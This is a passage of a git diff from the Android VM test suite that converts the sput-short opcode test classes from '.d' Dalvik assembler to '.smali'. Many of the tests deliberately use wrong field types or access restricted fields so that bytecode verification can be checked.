+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x1
+
+    sput-short v1, Ldot/junit/opcodes/sput_short/d/StubInitError;->value:S
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_14.d
deleted file mode 100644
index a836771..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_14.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_14
-.super dot/junit/opcodes/sput_short/d/T_sput_short_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_short/d/T_sput_short_1/<init>()V
-       return-void
-.end method
-
-.method public static getProtectedField()S
-.limit regs 2
-
-       sget-short v0, dot.junit.opcodes.sput_short.d.T_sput_short_1.st_p1 S
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       sput-short v1, dot.junit.opcodes.sput_short.d.T_sput_short_1.st_p1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_14.smali
new file mode 100644
index 0000000..9096645
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_14.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_14;
+.super  Ldot/junit/opcodes/sput_short/d/T_sput_short_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()S
+.registers 2
+
+       sget-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;->st_p1:S
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;->st_p1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_15.d
deleted file mode 100644
index 4848a3f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_15.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_15
-.super dot/junit/opcodes/sput_short/d/T_sput_short_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_short/d/T_sput_short_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v1, 1
-       sput-short v1, dot.junit.opcodes.sput_short.d.T_sput_short_1.st_pvt1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_15.smali
new file mode 100644
index 0000000..836d384
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_15.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_15;
+.super  Ldot/junit/opcodes/sput_short/d/T_sput_short_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_1;->st_pvt1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_17.d
deleted file mode 100644
index 3aba6fb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_17.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_17
-.super java/lang/Object
-
-.field public static st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-short v1, dot.junit.opcodes.sput_short.d.T_sput_short_17.st_i1 S
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_17.smali
new file mode 100644
index 0000000..a55e43d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_17.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_17;->st_i1:S
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_18.d
deleted file mode 100644
index e1ef12c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_18.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_18
-.super java/lang/Object
-
-.field public static st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-short v1, dot.junit.opcodes.sput_short.d.T_sput_short_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_18.smali
new file mode 100644
index 0000000..05eca57
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_18.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_18.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_18;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_2.d
deleted file mode 100644
index f6c1a55..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_2.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_2
-.super java/lang/Object
-
-.field public static st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       sput-short v0, dot.junit.opcodes.sput_short.d.T_sput_short_4.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_2.smali
new file mode 100644
index 0000000..23dc085
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_2.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_2;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       sput-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_4;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_20.d
deleted file mode 100644
index dc42d54..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_20.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_20
-.super java/lang/Object
-
-.field public static st_o Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       sput-short v3, dot.junit.opcodes.sput_short.d.T_sput_short_20.st_o Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_20.smali
new file mode 100644
index 0000000..67d3be5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_20.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_short/d/T_sput_short_20;
+.super Ljava/lang/Object;
+.source "T_sput_short_20.java"
+
+
+# static fields
+.field public static st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    sput-short p0, Ldot/junit/opcodes/sput_short/d/T_sput_short_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_21.d
deleted file mode 100644
index a55af0d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_21.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_21
-.super java/lang/Object
-
-.field public static st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 12    
-       sput-short v0, dot.junit.opcodes.sput_short.d.T_sput_short_21.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_21.smali
new file mode 100644
index 0000000..f05917a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_21.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_21;
+.super  Ljava/lang/Object;
+
+.field public static st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 12    
+       sput-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_21;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_22.d
deleted file mode 100644
index 25375e2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_22.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_22
-.super java/lang/Object
-
-.field public static st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-short v0, dot.junit.opcodes.sput_short.d.T_sput_short_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_22.smali
new file mode 100644
index 0000000..f0bcdea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_22.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_22;
+.super  Ljava/lang/Object;
+
+.field public static st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_23.d
deleted file mode 100644
index fc437cc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_23.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_23
-.super java/lang/Object
-
-.field public static st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-short v0, dot.junit.opcodes.sput_short.d.T_sput_short_23.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_23.smali
new file mode 100644
index 0000000..0d87bb2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_23.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_23;
+.super  Ljava/lang/Object;
+
+.field public static st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_23;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_24.d
deleted file mode 100644
index 16b16f1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_24.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_24
-.super java/lang/Object
-
-.field public static st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-short v0, dot.junit.opcodes.sput_short.d.T_sput_short_24.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_24.smali
new file mode 100644
index 0000000..919fe9a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_24.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_24;
+.super  Ljava/lang/Object;
+
+.field public static st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_24;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_3.d
deleted file mode 100644
index 1246f9a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_short_3.java
-.class public dot.junit.opcodes.sput_short.d.T_sput_short_3
-.super java/lang/Object
-
-.field public static st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1
-       sput-short v0, dot.junit.opcodes.sput_short.d.T_sput_short_3.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_3.smali
new file mode 100644
index 0000000..9012fbb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_3.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_3;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       sput-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_3;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_4.d
deleted file mode 100644
index df600da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
